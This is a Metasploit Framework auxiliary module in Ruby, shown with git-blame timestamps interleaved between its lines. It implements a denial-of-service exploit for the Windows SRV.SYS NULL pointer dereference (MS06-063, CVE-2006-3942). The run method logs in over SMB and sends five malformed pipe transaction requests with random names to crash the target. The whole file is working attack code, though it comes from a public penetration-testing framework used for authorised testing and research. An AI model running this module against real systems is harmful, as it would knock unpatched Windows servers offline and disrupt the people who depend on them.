2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-09-14 05:42:20 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-09-14 05:42:20 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB
|
2008-11-18 19:56:03 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2006-09-14 05:42:20 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-14 05:42:20 +00:00
|
|
|
'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a NULL pointer dereference flaw in the
|
|
|
|
SRV.SYS driver of the Windows operating system. This bug was
|
|
|
|
independently discovered by CORE Security and ISS.
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-14 05:42:20 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-14 05:42:20 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2010-02-10 18:46:03 +00:00
|
|
|
['OSVDB', '27644' ],
|
2006-10-10 18:08:23 +00:00
|
|
|
['MSB', 'MS06-063' ],
|
2006-09-14 05:42:20 +00:00
|
|
|
['CVE', '2006-3942'],
|
|
|
|
['BID', '19215'],
|
|
|
|
]
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-14 05:42:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2006-09-14 05:51:15 +00:00
|
|
|
print_status("Connecting to the target system...");
|
2006-09-14 05:42:20 +00:00
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
|
|
|
begin
|
2006-09-14 05:51:15 +00:00
|
|
|
1.upto(5) do |i|
|
2008-12-19 07:11:08 +00:00
|
|
|
print_status("Sending bad SMB transaction request #{i}...");
|
2006-09-14 05:51:15 +00:00
|
|
|
self.simple.client.trans_nonull(
|
2010-04-30 08:40:19 +00:00
|
|
|
"\\#{Rex::Text.rand_text_alphanumeric(rand(16)+1)}",
|
|
|
|
'',
|
|
|
|
Rex::Text.rand_text_alphanumeric(rand(16)+1),
|
|
|
|
3,
|
|
|
|
[1,0,1].pack('vvv'),
|
2006-09-14 05:51:15 +00:00
|
|
|
true
|
|
|
|
)
|
|
|
|
end
|
2006-09-14 05:42:20 +00:00
|
|
|
rescue ::Interrupt
|
|
|
|
return
|
|
|
|
|
|
|
|
rescue ::Exception => e
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Error: #{e.class} > #{e}")
|
2006-09-14 05:42:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-11-18 19:56:03 +00:00
|
|
|
end
|